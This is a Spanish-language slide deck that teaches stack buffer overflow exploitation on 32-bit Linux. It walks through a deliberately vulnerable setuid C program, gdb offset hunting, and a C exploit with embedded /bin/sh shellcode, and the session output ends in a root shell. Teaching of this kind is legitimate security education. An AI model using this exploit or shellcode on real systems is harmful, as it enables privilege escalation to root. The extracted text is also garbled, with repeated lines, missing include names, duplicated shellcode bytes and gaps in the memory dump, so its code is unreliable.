STACK BUFFERS OVERFLOWS. Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. strcpy(); ANSI C (string.h) David Reguera García.
Índice Presentación. Presentación. Conocimientos previos. Conocimientos previos. ¿Qué es un buffer overflow? ¿Qué es un buffer overflow? ¿Qué es un stack buffer overflow? ¿Qué es un stack buffer overflow? ¿Por qué en i386 y nucleos 2.4/2.6? ¿Por qué en i386 y nucleos 2.4/2.6? ¿Qué son los exploits? ¿Qué son los exploits? ¿Qué es una shellcode? ¿Qué es una shellcode? Demostración de explotación Demostración de explotación Solución. Solución. Despedida Despedida
Conocimientos previos. Base sólida de ASM, sintaxis AT&T. Base sólida de ASM, sintaxis AT&T. Conocimientos ANSI C y programación. Conocimientos ANSI C y programación. Nivel usuario de linux. Nivel usuario de linux. Depurador y funciones. Depurador y funciones. Conocer GDB. Conocer GDB.
Demostración de una explotación. abo1.c #include int main( int argc, char *argv[] ) { char buffer[50]; if ( argc > 1 ) strcpy( buffer, argv[1] ); return 0; }
Demostración de una explotación. [/home/fr33project]# gcc –o abo1 abo1.c [/home/fr33project]# gcc –o abo1 abo1.c [/home/fr33project]# chmod u+s abo1 [/home/fr33project]# chmod u+s abo1 [/home/fr33project]# su fr33project [/home/fr33project]# su fr33project fr33project [/home/fr33project]#./abo1 `perl –e ‘print “A” x 80’` fr33project [/home/fr33project]#./abo1 `perl –e ‘print “A” x 80’` Segmentation Fault. Segmentation Fault.
Demostración de una explotación. La pila con strcpy: La pila con strcpy: Bytes: Nombre: %eip %esp buffer Entrada de datos.
Demostración de una explotación. Como queremos la pila: Como queremos la pila: Bytes: Nombre: [%eip] [%esp] [buffer] Valor: [ SC ] [ Shellcode ]
Demostración de una explotación. Como quedará la pila: Como quedará la pila: Bytes: Nombre: [%eip] [%esp] [buffer y alineamiento] Valor: [ SC ] [ Shellcode y NOPS ]
Demostración de una explotación. Comprobando espacio hasta sobreescribir %eip: Comprobando espacio hasta sobreescribir %eip: fr33project [/home/fr33project]# gdb abo1 (gdb) r `perl -e 'print "A" x 70'` Program exited normally. … … (gdb) r `perl -e 'print "A" x 80'` Program received signal SIGSEGV, Segmentation fault. 0x in ?? ()
Demostración de una explotación. Creando el exploit: 1) Shellcode de 51 bytes. 2) 25 NOPS. 3) Dirección de SC 4 bytes.
Demostración de una explotación. xpl.c xpl.c #include #include int main( void ) { char sc[]= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33” “\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b” “\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b” “\x56\x34\x12\x35\x10\x56\x34\x12” “\x56\x34\x12\x35\x10\x56\x34\x12” “\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0” “\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0” “\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; “\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
Demostración de una explotación. xpl.c xpl.c int i; char buff[80]; for ( i = 0; i < 26; i++ ) buff[i] = '\x90'; for ( i = 26; i < 76; i++ ) buff[i] = sc[i-26];
Demostración de una explotación. xpl.c xpl.c buff[79] = 0xbf; // Dirección cualquiera. buff[78] = 0xff; buff[77] = 0xff; buff[76] = 0xff; execl( "./abo1", "abo1", buff, NULL ); return 0; }
Demostración de una explotación. fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# gdb xpl fr33project [/home/fr33project]# gdb xpl (gdb) r Starting program: /home/fr33project/esi/xpl Program received signal SIGSEGV, Segmentation fault. 0xffffffbf in ?? ()
Demostración de una explotación. (gdb) x/30xw $esp-100 (gdb) x/30xw $esp-100 0xbffff80c: 0x080483c1 0xbffff820 0xbffffa24 0xb80009b8 0xbffff81c: 0xbffff8f4 0x x x xbffff82c: 0x x x x24eb9090 0xbffff83c: 0x891e8d5e 0xd2330b5e 0x x1bb80f56 0xbffff84c: 0x x x8b0b4e8d 0x3380cdd1 0xbffff85c: 0x80cd40c0 0xffffd7e8 0x69622fff 0x68732f6e 0xbffff86c: 0xffffffbf 0x0177ff8e 0xbffff8e0 0xbf0009b8 0xbffff87c: 0x xb7fd9038 (gdb)
Demostración de una explotación. Adaptando el xpl.c: Adaptando el xpl.c: buff[79] = 0xbf; buff[78] = 0xff; buff[77] = 0xf8; buff[76] = 0x3c;
Demostración de una explotación. fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# id fr33project [/home/fr33project]# id uid=1000(fr33project) gid=1000(fr33project). fr33project [/home/fr33project]#./xpl fr33project [/home/fr33project]#./xpl sh-3.00# id sh-3.00# id uid=1000(fr33project) gid=1000(fr33project) euid=0(root)
Solución Una buena metodología. Una buena metodología. Usar strncpy. Usar strncpy.
Despedida. Direcciones con información: Direcciones con información: \ \ Agradecimientos: Agradecimientos: #blackhats 2003 ~ 2004, IRC-HISPANO. #blackhats 2003 ~ 2004, IRC-HISPANO.